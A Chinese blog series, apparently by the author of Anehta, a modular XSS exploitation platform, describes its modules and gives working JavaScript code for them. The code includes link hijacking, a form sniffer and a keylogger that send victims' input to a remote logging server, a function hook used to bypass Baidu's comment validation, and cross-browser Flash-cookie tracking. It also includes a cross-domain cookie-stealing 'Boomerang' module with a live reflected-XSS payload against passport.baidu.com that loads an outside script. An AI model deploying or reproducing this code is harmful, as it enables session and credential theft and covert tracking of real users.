作者：刺
我很开心的宣布，Anehta 0.5.6 发布了！
下载地址为：
http://anehta.googlecode.com/files/anehta-v0.5.6.zip
http://anehta.googlecode.com/files/anehta-v0.5.6-withoutQQWry.zip
镜像下载为：
阅读全文...
作者：刺
在Anehta 0.5.6 中引入了一个新的函数
anehta.trick.hijackLink();
这个函数是来源于 Dustin D. Trammell 的一篇blog，
http://www.breakingpointsystems.com/community/blog/clickjacking-technique-using-the-mousedown-event
这也可以认为是clickjacking的一种，不过我认为叫做 hijackLink 更加合适。
原理就是 绑定 链接的 onmousedown 事件， 当鼠标点击链接时，将href 替换为新的url，从而起到了劫持的效果。
比如我在demo页面中，有这样一个链接:
即便是查看属性，也是显示的taobao.com这个链接。
但是如果我们用鼠标点开这个链接，却会跳到百度去
实际上这个过程只是调用了
anehta.trick.hijackLink(document.getElementById('ln'), "http://www.baidu.com");
就劫持了链接 "ln"了。
这个函数实现过程如下：
anehta.trick.hijackLink = function(link, url){
if ( link.addEventListener ) {
link.addEventListener("mousedown", function(e){link.href=url;}, false);
} else if ( link.attachEvent ) {
link.attachEvent("onmousedown", function(e){link.href=url;});
} else {
var oldhandler = link["onmousedown"];
if ( oldhandler ) {
link["onmousedown"] = function(e){oldhandler(e);link.href=url;};
} else {
link["onmousedown"] = function(e){link.href=url;};
}
}
}
作者：刺
有心的朋友可能已经注意到了，Anehta 中实现了一个客户端Cache。
位置在core里面：
anehta.core.cache = function(){}
在core中我预定义了一个变量，可以让我们很方便的操作cache：
// 初始化一个cache出来共享数据
var anehtaCache = new anehta.core.cache();
在写模块的时候，直接使用 anehtaCache这个变量就可以了。
那么我们为什么要用cache? 它是做什么的？
cache的思想最初来源于一个jQuery 的插件： jCache
我最初的想法是在anehta的底层实现一套共享数据的机制，让模块之间可以互相通信，可以把要保存的东西放到这个里面来。
后来寻找一些资料后，找到了jCache这个插件，但是它还是无法完全满足我的需求，于是，我扩展了jCache大概50%的代码，有了现在的 anehtaCache 1.0
使用anehtaCache后，在客户端的数据操作将会变得非常简单，比如ajax得到的结果，可以直接保存在cache里，让其他模块进行访问。
cache就像一个公共的共享pool，任何模块都可以来这里找自己想要的，或者可以把想保存和共享的放到这里。
cache的实现其实也很简单，就是两个数组，一个保存key，一个保存value，是一一对应的关系，找到了key，就能取出相应的值。
cache使用的是FIFO的方式，即先进先出，默认长度是30，就是说可以保存30个不同的key，如果超过了30，就会把最先保存进行的删掉。
对anehtaCache的操作，可以看这张图，这是我在anehta的下一个版本里会加入的help()函数的功能。
可以看到对cache的操作是非常灵活的，用的最多的还是
anehtaCache.setItem(key, value);
anehtaCache.getItem(key);
anehtaCache.appendItem(key,value);
这几个，比如在ajax的实现中，就默认保存了response结果到cache中:
anehta.ajax.get = function(url){
anehtaXmlHttp.get(url, null, function(response, responseHeaders) {
if (responseHeaders != null) {
//alert(responseHeaders);
anehtaCache.setItem("ajaxGetResponseHeaders", responseHeaders);
}
if (response != null) {
//alert(response);
anehtaCache.setItem("ajaxGetResponse", response);
}
});
}
而在anehta.logger.logCache() 这个函数中，则会每隔五秒钟检查一次cache，如果发现里面的数据有变化，就会直接发送cache到服务器:
var keys = anehtaCache.showKeys();
if (keys != null){ // cache里有东西
var cache = "";
for (i=0; i<keys.length; i++) {
if (anehtaCache.hasItem(keys[i]) == true){
cache = cache + "\r\n" + XssInfo_S + keys[i] + ": " + anehtaCache.getItem(keys[i]) + XssInfo_E;
}
}
anehtaCache就是anehta的虚拟内存，是anehta的核心设计理念之一，使用它，将让你的xss payload变得更加灵活和强大。
作者：刺
上一篇提到了如何做hook，也讲到了hook表单提交的几种不同方式。
今天要讲的是实现的一点细节。
我们知道，javascript中大部分的method都是非阻塞的，这样的好处是可以提高效率，坏处是很多时候我们确实是需要阻塞的功能。
极少数method是阻塞的，比如 alert()这个函数，在alert()执行完成并返回前，alert()之后的javascript代码都不会执行。
再比如html页面里的 <link >标签应该也是一个阻塞的标签，在该stylesheet加载完成前，后面的标签都不会加载。
所以我们如果在执行一些javascript函数时，如果需要等待某个函数的返回结果，才继续执行，就需要使用这一类方法或者技巧。
在hook submit的过程中我就遇到了类似的问题：
不论是使用jQuery中的绑定事件，或者是自己hook函数的方法，均会产生一个类似 竞争条件 的问题，在submit提交时，还没有执行完logCookie的过程，页面就已经跳转了，从而使得cookie记录失败。
所以我们需要做的事情就是，
使得 anehta.logger.logForm() 这个函数 阻塞，或者 迟滞 submit提交、页面跳转的时间。
因为logForm()函数里，最终都是调用getURL() 实现的向远程服务器传递消息，所以需要等待 getURL()的返回。
在这里我采用的迟滞的技巧。
在AttackAPI中有一个函数： freeze()，不知道作者的本意是什么，但是我用在这里却起到了延迟的效果，它能够冻结住页面一段时间，但是却并不影响JS的执行。可是页面却在这段时间内不会跳转了，所以我们有了充分的时间可以完成我们的工作。
anehta.logger.logForm = function(o) {
//alert("logForm");
var inputs = o.getElementsByTagName("input");
//url += "?";
var param = ""; // form的参数
for (var i = 0; i < inputs.length; i ++) {
if (inputs[i].getAttribute("name") != null &&
inputs[i].getAttribute("name") != "") {
param += escape(inputs[i].getAttribute("name")) + "=" + escape(inputs[i].value) + "&";
}
}
// 记录提交的参数到远程服务器
param = XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E +
XssInfo_S + "Form Sniffer: " + escape(param) + XssInfo_E;
param = anehta.crypto.base64encode(param); //base64时候对时间影响太大,会导致还没发包就页面跳转,从而出错
//alert(param);
var img = document.createElement("IMG");
document.body.appendChild(img);
img.width = 0;
img.height = 0;
img.src = logurl+param;
// 需要冻结一段时间保证getURL成功完成
anehta.core.freeze(300);
//return false;
}
类似使用freeze()的地方，还有keylogger.
// 在窗口关闭时候发送keylog 到服务器
$(window).unload(function(){
//alert(keylogger);
// 时间不允许再base64加密了
//keylogger = anehta.crypto.base64encode(keylogger);
// 明文传输,需要标记为NoCryptMark
keylogger = NoCryptMark + XssInfo_S+"Keylogger: " + keylogger + XssInfo_E;
//alert(keylogger);
//anehta.core.freeze(500);
anehta.net.getURL(logurl+escape(keylogger));
anehta.core.freeze(900);
//alert(keylogger);
}
);
其实现如下：
// 在time(ms)时间内冻结浏览器;idea from AttackAPI
anehta.core.freeze = function(time){
var date = new Date();
var cur = null;
do {
cur = new Date();
} while(cur - date < time);
};
当然还有更多的阻塞或者迟滞的技巧，以后再慢慢讨论和研究。
其实，JS中最简单的hook是直接重载目标函数。在之前提到的“JSON Hijacking”中就是使用的这种方法。
简单来说，就是把目标函数重新定义一遍，这样就会覆盖掉原来的函数，当函数执行时，就会跑去执行新的函数了。
但是这种方法效率不高，且通用性不好，所以我在Anehta 中重新实现了一次通用的hook函数。
Anehta 中的hook方法包括三个：hook、unhook、injectFn
使用方法是：
var hj = new anehta.inject.hookFunction();
var SaveTarget, HookFn;
hj.hook('Target', 'SaveTarget', 'HookFn');
hj.injectFn('Target', 'SaveTarget', 'HookFn');
hj.unhook('Target', 'SaveTarget');
实际上我在 base.js 中已经定义好了一个变量
var anehtaHook = new anehta.inject.hookFunction();
所以在模块中使用hook方法，只需要直接调用 anehtaHook.hook(); 就可以了。
在上面的代码中，Target 是要hook的函数名字，比如目标函数是这么定义的：
function Function1(){
......
return;
}
那么Target 就是 'Function1'
SaveTarget 是保存原函数。就是说把hook前的函数保存到 SaveTarget 中。
而 HookFn 就是要插入的函数名称，比如要在Function1里面插入一个函数test
function test(){
......
}
那么HookFn 就是 'test'
这三个函数的区别是：
hook() 会把原来传入参数传递给 HookFn 函数，然后HookFn 处理完成后，需要返回一个 Array 类型的值，这个Array类型的值，会作为新的参数传递给被hook的函数 Target.
injectFn() 则不会传递参数给被Hook的函数，他只做自己的事情。
这两个函数都是在原函数执行前执行。如果你需要传递新的参数给原函数，请选用hook()
unhook() 则是把被hook的函数恢复到hook前的状态。
以百度空间为例，在检查用户评论时，百度使用了如下函数
function checktext(textid)
{
document.getElementById(textid).value=trimlr(textid);
var str=trimrn(textid);
len=str.length;
if(len==0 || ((/^[\s, ]+$/gi).test(str)) )
{
showErr(3,"您必须输入评论内容，请检查。");
return false;
}
else
{
if(len>1000)
{
showErr(3,"您输入的评论内容太长，请保持在500字以内。");
return false;
}
return true;
}
}
那么我们要hook这个函数，就可以如下做：
function test(a,b,c,d,e){
alert("Hooked!");
var ret = new Array("anehtaTestHook");
return ret;
}
// 保存原函数
var _function1;
anehtaHook.hook('checktext', '_function1', 'test');
这样原来的checktext()函数执行前，就会去执行我们的test()函数，然后test()函数把结果作为参数传递给checktext()函数。
正常情况下，如果我们不输入任何评论内容，则checktext函数会报错：
注意此时评论还是为空，但是我们接下来却由于 test() 函数传递了一个参数给 checktext() 函数，使得该函数认为我们的评论是不为空的，从而绕过了检查，直接向服务器提交。
到这一步，已经可以证明绕过了checktext()函数的检查了。为什么会出错？因为表单提交是提交的input框的内容，而我们只hook了chectext函数，却并没有去修改表单里的内容，所以正常表单提交还是为空的。
以上只是一个简单的POC，来演示hook的使用方法。
anehtaHook.hook() 是针对javascript函数的，甚至可以hook一些内置的javascript函数，比如 alert()、eval()、escape() 等等。
hook函数和绑定事件还是有所区别的。
表单的hook和一般函数的hook略有区别。表单的hook一般是绑定表单的onsubmit事件，如果是通过函数去提交表单，则也可以通过hook函数的方法来解决。
在 /module/hook.js 里，我演示了几种不同的方法hook表单。
前面两种是直接使用jQuery 绑定事件的方法。
第一种，如果form没有设置onsubmit事件，则直接绑定一个submit事件过去
$("form").bind("submit",
function(){ anehta.logger.logForm($("form")[0]); }
);
第二种，直接绑定函数到submit事件
$("form[name='form1']").eq(0).submit(function(){
anehta.logger.logForm($("form[name='form1']")[0]);
//anehta.logger.logCookie();
//return true;
}
);
第三种，如果对方是通过函数提交，anehta中除了提供上面说到的通用hook外，专门针对表单hook还可以使用以下API：
function injectSubmitFunc(o, param){
// your code here!
&
nbsp; alert(param);
anehta.logger.logForm($("form")[0]);
// 最后记得恢复表单的正常提交
if (o._submit != undefined) {
o._submit(); // 被hook过了
} else {
o.submit();
}
}
anehta.inject.hookSubmit($("form")[0], function (){injectSubmitFunc($("form")[0], "fvck");});
作者：刺
Anehta中采用了一种同机识别的技术，我在项目中将其称为“水印”（Watermark）.
看过我的录像演示的人应该有印象，效果如下：
如果一个客户端被打上了水印，那么，不管客户端删除了cookie、缓存，抑或是切换了各种不同的浏览器，其水印都不会变化。
换句话来说，就是常规的清除上网痕迹的措施，都无法清除掉anehta给客户端打上的水印。
这看起来好像跟变魔术一样，其实揭穿了很简单，我是通过Flash的shared objects来做的，也可以称作flash cookie。
其实这种技术在比较早的时候foundstone的paper中就提到过了，同时还有提到的是一个IE persistence Data，会保存在IE临时文件的一个index.dat中，也是光删cookie或缓存删不掉的。但是这个持久数据在IE7中已经不能再这么利用了，所以我这里仅仅使用了flash的cookie。
而yahoo和alibaba都使用了这种技术用在登录入口来防范钓鱼的威胁。
正常来说，flash cookie保存在系统的如下位置：
C:\Documents and Settings\yourusername\Application Data\Macromedia\Flash Player\#SharedObjects\
在这个目录下可以看到非常多的网站目录，里面都有他们的flash留下的痕迹。
由于一般删除cookie、删除缓存等不会来清理这里，所以就给客户端打上了一个水印。 可以看到，这个位置是和windows的系统用户相关的，所以如果切换了一个windows的系统用户，也会导致水印发生改变。
由于flash是跨浏览器的，所以水印也就可以跨浏览器了，显得很神奇：换到了firefox上，还能被认出来！
然而更神奇的是，只要flash的加载位置不变，那么就算从A站切换到了B站，也照样能识别出来。
这是因为flash cookie是记录在flash加载域名下的，所以，如果有如下情景：
www.a.com 上加载了 www.c.com/flash.swf ，打上了一个水印
用户之后访问 www.b.com，这个站上也加载了一个 www.c.com/flash.swf
这时候，用户的水印还是没有变。
也就是说，如果同时针对两个不同域实施了XSS攻击，加载水印后，在不同域能够识别到同一个用户。
这种同机识别技术能够给我们提供很大的便利，Anehta使用它后，能够准确识别到用户，从而进行进一步的统计分析。 这种技术不光在攻击中能用，在实际网站应用中也是非常有用的。
下面看看我是如何在Anehta中实现这一个过程的。
首先需要提到 Flash 的ExternalInterface ， 它是在Flash 8中加入的支持，使用之后，就可以和外部的js通信了。具体使用方法请参考手册。
以下是Flash 中的 AS部分
首先，在flash中取shard objects
so = SharedObject.getLocal("anehtaWatermark", "/");
可以把SharedObject理解为一个数组，它的存储是以二进制文件形式存储在本地的，我在这里定义了一个名为 anehtaWatermark 的共享对象，范围是所有子目录。 对应的我的文件名就是 anehtaWatermark.sol ，和上面图片里的一致。
然后需要设定什么域能访问Flash的资源，即设定 allowDomain
System.security.allowDomain(_root.domainAllowed);
这里我是从客户端传回来一个参数，这样就是动态定制了。
然后是比较核心的部分，怎样 读、写 flash cookie：
// 这个是读， 获取so里的名为 watermark的字段的值
function getWatermark(){
ret = "";
ret = so.data.watermark;
return ret;
}
// 这是写，往名为watermark的字段里写内容
function setWatermark(obj) {
if (!( obj == null)){
so.data.watermark = obj;
}
return so.flush()
}
最后再通过 ExternalInterface添加两个 call back ， 和外部的js之间通信
ExternalInterface.addCallback("setWatermark", this, setWatermark);
ExternalInterface.addCallback("getWatermark", this, getWatermark);
这样，当外部的js 调用这个flash的 setWatermark 和 getWatermark 的函数时，对应的就调用flash内部 AS脚本里的 这两个函数。
flash 完成后，我编译好放在了 /module/flash/anehtaWatermark.swf 里
然后再是js部分，前面说了， Flash 8才有 ExternalInterface, 所以首先要判断浏览器是否支持flash，是否高于版本8. 如果一起都满足了， 就插入flash， 然后写flash cookie，或是读flash cookie。
flash cookie设置好后，最后还是需要传递给cookie，从而让服务器识别。
整个过程逻辑有点复杂，描述如下：
其中与 flash通信的代码如下：
// Using Flash Shared Object to Store Watermark
anehta.core.setWatermark = function(flashID, o){
return document.getElementById(flashID).setWatermark(o);
}
// Get the info from flash
anehta.core.getWatermark = function(flashID){
return document.getElementById(flashID).getWatermark();
}
注意在插入flash的时候，需要设置 flash 的 allowScriptAccess 为always，不然跨域插入flash将访问不到当前域的一些DOM对象
anehta.inject.injectFlash = function(flashId, flashSrc, flashParam) {
//flashParam = '?' + flashParam;
document.write('<object type="application/x-shockwave-flash" data="' + flashSrc +
'" width="0" height="0" id="' + flashId +
'"><param name="allowScriptAccess" value="always" /> ' +
'<param name="movie" value="' + flashSrc + '" />' +
'<PARAM NAME=FlashVars VALUE="domainAllowed=' + flashParam + '" />' +
'<param name="bgColor" value="#fff" /> </object>');
}
最后，实现上面那个图里的复杂逻辑过程是在 clx.js 里，代码如下：
// 以下是正常加载clx过程
var ts = new Date();
ts = ts.getTime(); // 随机数,作为水印,只加载一次
var watermarkvalue = "FirstCatch:"+document.domain+"|"+ts;
//alert(watermarkvalue);
if (anehta.dom.checkCookie("anehtaWatermark") == false){ // cookie中没有水印
if (anehta.detect.flash('8') == true){ // 检测是否有flash
// 插入水印flash; 加载flash需要时间
ane
hta.inject.injectFlash("anehtaWatermark", watermarkflash, document.domain);
//alert(1);
setTimeout(function(){
if ( anehta.core.getWatermark("anehtaWatermark") == undefined ){
// flash cache 中没有记录,需要设置一个
anehta.core.setWatermark("anehtaWatermark", watermarkvalue);
}
// 读取水印并写进cookie
anehta.dom.addCookie("anehtaWatermark", anehta.core.getWatermark("anehtaWatermark"));
anehta.dom.persistCookie("anehtaWatermark"); // 让水印不过期
// 记录当前cookie
anehta.logger.logCookie();
},
500);
} else { // 不支持flash
// 在cookie里添加水印
anehta.dom.addCookie("anehtaWatermark", watermarkvalue);
anehta.dom.persistCookie("anehtaWatermark"); // 让水印不过期
anehta.logger.logCookie();
}
}
else { // cookie 中有水印, 不需要重复记录cookie了
//检查flashcache中是否有水印,如果没有,则把cookie里的水印写入flashcache
if (anehta.detect.flash('8') == true){ // 检测是否有flash
// 插入水印flash; 加载flash需要时间
anehta.inject.injectFlash("anehtaWatermark", watermarkflash, document.domain);
setTimeout(function(){if ( anehta.core.getWatermark("anehtaWatermark") == undefined ){
// flash cache 中没有记录,需要设置一个
anehta.core.setWatermark("anehtaWatermark", anehta.dom.getCookie("anehtaWatermark"));
}
},
500);
} else { // 不支持flash
// do nothing
}
}
作者：刺
Anehta中有许多的具有创意的设计，Boomerang ，回旋镖模块，正是其中一个。
回旋镖模块的作用，是为了跨域获取本地cookie。
Boomerang模块是专门针对IE设计的，对于Firefox的情况，可以使用xcookie模块，稍后会讨论。
Boomerang的工作原理：我们知道，浏览器被XSS攻击后，攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面，就可以继续用B站上的XSS_B控制用户的浏览器行为； 那么把整个过程结合起来，简单表示如下：
victim Browser --->site A，XSS_A ---- redirect to ---->Site B，XSS_B ----- redirect somewhere --->.....
但是对于IE来说，想要通过XSS_B 获取 Site B的cookie是有一定的困难的，困难就在于，从site A发过来的request，是否带上了本地cookie。
我们知道，在IE中，iframe、img等标签都是拦截本地cookie的，于是这些都不能用。需要使用不拦截cookie的比如 window.open等方法，但是window.open会被IE拦截弹出窗口，所以我在boomerang 中使用了 表单提交，构造一个form，向site B提交，然后再从Site B导入一个XSS B，获取了cookie后，再通过表单提交，跳转回原来的Site A.
如果在Site B上，使用XSS_B再将页面重新定向回 Site A，那么对于用户来说，就是简单的闪了一下，非常具有欺骗性。
这个过程可以描述如下
由于在IE中，跳到了Site B后再跳回A，中间已经取到了B的cookie了，整个过程就像用回旋镖扔出去打了一下B一样，所以我把这个模块命名为回旋镖模块，英文是：Boomerang!
实现代码如下：
////////////////////////////////////////////////////////////
var target_domain = "passport.baidu.com";
var target="http://passport.baidu.com/?getmypass&username=\"];document.write('<script src=http://www.secwiki.com/anehta/feed.js></script>');//";
// 前页面
var org_url = "http://www.secwiki.com/anehta/demo.html";
var org_domain = "www.secwiki.com";
// 如果是当前页面，则向目标提交
if ($d.domain == org_domain){
if (anehta.dom.checkCookie("boomerang") == false){
// 在cookie里做标记，只弹一次
anehta.dom.addCookie("boomerang", "x");
setTimeout( function (){
//alert(target);
try {
anehta.net.postForm(target);
} catch (e){
//alert(e);
}
},
50);
}
}
// 如果是目标站点，则重定向回前页面
if ($d.domain == target_domain){
//clx模块太慢了
anehta.logger.logCookie(); //记录cookie
setTimeout( function (){
// 弹回原来的页面。
anehta.net.postForm(org_url);
},
50);
}
可以注意到，在Site B上停留的时间只有50毫秒，是非常短暂的，而我们想做的事情已经做完了。
所有需要的一切，只是在B站上有一个XSS，种类不限，也就是说，不管是反射型XSS，还是持久型XSS，都能很好的完成我们的工作。
在以往，反射型XSS可能是鸡肋，但是通过回旋镖模块，我们变废为宝了！
在 Anehta 的demo页面，加入了针对回旋镖的演示. (注意在IE下，使用回旋镖，site B来不及打上水印，所以记录保存在 noWaterMark里)
作者：刺
如何开始使用Anehta呢，首先介绍下anehta的结构。
由于我的viso用的很烂，所以只好用画图简单画了张
feed.js 是最基础的文件，一切anehta加载的源头都是这个文件。
以下是一个feed.js的例子，正常使用只需要修改其中这部分：
// anehta files url
var anehtaurl = "http://www.secwiki.com/anehta";
var anehtaFeeds = [
// Library
{name: "BaseLib", url: "/library/base.js"},
{name: "JqueryLib", url: "/library/jquery.js"},
// Modules
//{name: "BoomerangMod", url: "/module/boomerang.js"},
{name: "ClxMod", url: "/module/clx.js"},
{name: "XsrfMod", url: "/module/xsrf.js"},
//{name: "DdosMod", url: "/module/ddos.js"},
{name: "HookMod", url: "/module/hook.js"},
{name: "KeyloggerMod", url: "/module/keylog.js"},
{name: "XCookieMod", url: "/module/xcookie.js"},
//{name: "CookieDemoMod", url: "/module/demo/cookieDemo.js"},
//{name: "CacheDemoMod", url: "/module/demo/cacheDemo.js"},
{name: "RealtimeCmdMod", url: "/module/realtimecmd.js"},
{name: "ScannerMod", url: "/module/scanner.js"},
{name: "TestMod", url: "/module/test.js"}
];
将anehtaurl改为你自己存在anehta项目的路径即可使用。
下面的模块是可选的，去掉注释后能组合成各种不同的功能。
注意： 请不要在feed.js加载 /boomerang.js （回旋镖模块），因为这个模块是专门针对IE的，在后面的 xcookie.js 中会自动判断浏览器版本并加载这个文件。
同时如果加载 boomerang.js 的话，需要修改 boomerang.js 中的
var org_url = "http://www.secwiki.com/anehta/demo.html";
var org_domain = "www.secwiki.com";
为被XSS的页面和被XSS的域名，否则回旋镖会跳不回来！
feed.js 会去加载 base.js ，这是最核心的文件，JS框架就是这个文件。然后会加载一系列的MOD。
打开文件夹后会看到很多文件，现在简单介绍下这些文件的作用：
feed.js 是前面说的加载js用的。
admin.php 是管理后台
logxss.php 是记录所有log的文件，文件会按照水印分类记录到slave目录下
ip.php 是反向查询地理位置的文件
cookie2proxy.php 是我用来向glype proxy 添加cookie的文件
realtimecmd.php 是实时控制客户端的文件
library 目录下放的是JS library，只有两个文件： base.js , jquery.js
module目录下是模块文件：
这些js都是独立的模块，xcookie是跨域获取cookie，clx是打水印的模块，我把它称作“楚留香模块”
boomerang就是回旋镖模块了
flash目录下目前放的是打水印用的flash
demo目录下还有些API的演示。
其他的模块都能从字面上理解其含义。
tools目录下放的是一些第三方工具，目前放了两个
一个是PHP的网页代理： glype
我修改后，可以自定义cookie了
另一个是发送邮件用的 phpMailer
说到发送邮件，在admin后台里，请大家不要随便点击 Mail&Del 按钮啊，log日志都发送到我的邮箱里了
这个功能昨天做demo录像的时候忘记演示了。
作者：刺
两个礼拜了，从一开始的激动不已，到现在更加激动不已。
有很多想说，又不知从何说起。那么，还是采取FAQ的形式来向大家介绍吧！
Q： 为什么叫：Anehta ?
A： 因为“雅典娜”的名字是 ：athena ，但是这个名字已经被sourceforge上的某人抢了，所以按照“刺氏命名法”，把“athena”反过来，本项目正式命名为： Anehta，中文发音：“阿内塔”
Q： Anehta 项目是做什么的？
A： 简单来说，你可以理解为 AttackAPI + BeEF。 但是Anehta 绝对没有这么简单，因为我实现了很多特有的机制，使得Anehta更加强大以及更加容易扩展。
Q： 没听过什么AttackAPI，还是不知道Anehta是做什么。
A： 更通俗来说，Anehta 就是一个跨站脚本攻击（XSS）的利用平台。
Q：Anehta是用什么语言开发的，对系统有什么要求？
A：由于在一开始就考虑到了通用性、跨平台性、跨浏览器、稳定性、易扩展性，所以Anehta在这方面做的是非常好的。anehta是基于javascript 和 PHP开发的。其中部分用到了 jQuery 框架，虽然anehta 可以独立于jQuery存在，但是考虑到引入jQuery 后，可以大大降低开发模块的成本，所以还是保留了。使用jQuery的另外一个好处就是跨浏览器，因为jQuery 本身是跨浏览器的，所以anehta也很容易做到这点.
使用PHP是因为PHP是当今使用最为广泛的脚本语言之一。(其实有个很不可告人的原因是因为大部分肉鸡都是PHP的吧，嘿嘿，anehta不需要任何perl、python、ruby等脚本支持)
Q：Anehta的架构是什么样的？
A：首先，我使用javascript 实现了一套JS框架，这套框架封装了很多函数和类，是专门用于攻击的一套JS框架。使用这套框架可以非常轻松的开发出威力强大的脚本。这套框架网站开发者也可以使用，可以获得很多强大的功能。
其次，基于这套框架，我开发了许多模块，比如本项目特有的“回旋镖模块”，可以跨域偷取cookie；再比如一个完美的JS键盘记录器等，还有很多功能，我会陆续补充好文档。
再次，anehta拥有非常清晰的结构，XSS后只需要加载一个feed.js，就会自动完成所有工作了。
最后，anehta不是纯客户端的，除了核心的JS攻击框架外，在服务端还利用PHP做了许多处理。
Q：Anehta具有什么特色和优点？
A：Anehta 结构清晰，功能是模块化，开发者可以单独为anehta开发各种各样的模块，以满足独特的需求。
模块之间具有低耦合性，互不影响。同时anehta的模块互相之间可以通信。
此外anetha还实现了很多独特、方便的技术。比如hook模块中，实现了可以hook任意js函数的方法。此外利用flash shared objects实现的水印技术也非常独特，即便用户删除了cookie，从IE切换到了Firefox或是Opera，也照样能够识别出是本人. 而回旋镖模块更是能够将反射型的XSS变成持久型的XSS，实时命令模块等都属于基本功能了。不久后我会补全anehta的文档，包括所有API的使用说明。
Anehta 的另一个特色就是会集成flash、java、css等多种hacking技术于一体，虽然目前还只实现了一小部分，但是我会慢慢把他们都做完。
此外，由于服务端的存在，所以Anehta 是一个平台(Platform)，而并非一个框架(framework)。服务端设计还存在很大的开发潜力。
Q：为什么要做这样一个项目？
A：可以说是心血来潮，也可以说是游戏之作，但是Anehta确实倾注了我的大量心血。从一开始我就总结了很多需求，思考了很多设计上的东西，所以anehta拥有非常好的架构和可扩展性。我的目的是将anehta做成一个集web攻击大成者的平台，所以anehta会涉及到那么多乱七八糟的技术。
出于精简的目的，我舍弃了很多用处不大的功能，但是anehta还将扩展更多强大和实用的功能。在我看来，anehta的js框架部分已经比attackAPI要好了，功能部分更是远远超过了BeEF和XSS Shell！
Q：Anehta针对哪些用户？
A：本项目是为安全工程师进行渗透测试以及演示脚本漏洞的危害而设计，请勿用作非法用途！本项目遵循GPLv3条款，属于开源项目，任何人可以自由复制、使用或修改本代码，本人概不承担法律责任!
Q：Anehta实现了哪些功能？
A：以下是已经实现的功能列表：
* 获取客户端基本信息(浏览器版本/OS version/客户端IP/代理IP/Referer/Request URI);
* Ajax库支持
* 窃取客户端Cookie
* 跨域窃取Cookie（比如我在淘宝上窃取百度的cookie）
* 灵活的XSRF模块
* 客户端DDOS攻击（发起大量请求，CC）
* hook表单提交（Form Sniffer 功能）
* hook 任意javascript 函数；注入任意javascript函数
* 一个优秀的Javascript Keylogger;
* 支持数据加密传输(出于性能考虑，目前暂时使用base64)
* 注入iframe模块（可以实施挂马）
* 模块之间互相通信
* 独特的客户端水印，使得删除cookie、切换浏览器也能识别到用户
* logger虚拟守护进程（定时检查所有模块的输出，并记录到服务器）
窃取剪贴板的内容（仅仅支持IE）
* 客户端地理位置查询
* 在线的web代理，支持自定义cookie访问站点（第三方实现）
* 实时命令模块
* 扫描浏览器的历史记录
一个基于JS的端口扫描器
* 获取客户端软件信息（比如是否安装了QQ、迅雷等）
* 邮件通知模块
Q：Anehta未来会怎么发展？
A：我会持续开发和扩展Anehta，在不久的未来会完善英文文档并对外正式发布。目前计划里的蓝图如下：
Client-Side：
* GIFAR支持
ClickJacking/XSIO支持
XSS Worm Module
获取显示器分辨率
钓鱼模块（可以欺骗用户从而获取密码等）
获取客户端真实IP
* 更加强大的扫描模块
JS压缩、变形（让anehta更小巧）
Cross Site Sql Injection 模块（对注射的支持）
* 客户端代理模块（直接利用客户端访问网站，这在攻击内部系统时很有用）
* 检查IM或者网站的登录状态
* 更多的子窗口控制功能
* 调用activex的一些方法
* pipeline（管道功能，具体作用暂且保密）
* 验证码的支持
将大量功能集成到flash和java中
Heap Spray 、 Heap Fengshui 模块，帮助更方便写客户端exploit
升级和传播模块
支持加载第三方攻击库，比如attackAPI
新技术的支持（HTML5,AS3,CSS3等）
......
Server-Side:
* 通过IM自动通知Master
* 通过手机短信自动通知Master
客户端session保持以及session fixation支持
* 良好的多主机管理以及更加友好的界面
feed.js 生成器
* 数据库支持(Mysql 或 sqlite);
更加友好的log输出
Both Client and Server:
* 窃取客户端文件(Ajax Upload)
Anehta还有一些bug和不足，先不列到这里了，我会持续改进，此外由于我对UI和美化一窍不通，所以目前界面还很丑，将就着用吧！
哪位朋友有心也可以帮我写写UI。
最后，啰嗦了这么多，是不是等不及了呢？
那么，要看演示的，可以到这里下载录像：
http://www.secwiki.com/anehta/demo/anehtaDEMO.zip
也可以在线观看，不过文件比较大，有20多M
http://www.secwiki.com/anehta/demo/anehta.html
想体验一下？ 到这里访问demo页面：
http://www.secwiki.com/anehta/demo.html DEMO页面是一个被XSS的页面
粗陋的后台是在：
http://www.secwiki.com/anehta/admin.php 在这里可以看到被XSS后的结果。
请参考我制作的录像
FF的用户请关闭noscript扩展，拦截了就没得玩了撒
项目首页：
http://anehta.googlecode.com
源代码获取：
http://code.google.com/p/anehta/source/checkout
打包下载：
http://anehta.googlecode.com/files/anehta-v0.5.5.zip
-EOF-
姓名：Chinadu
性别：Man
职业：网络安全从业者
E-mail：imcto#msn.cn
近期评论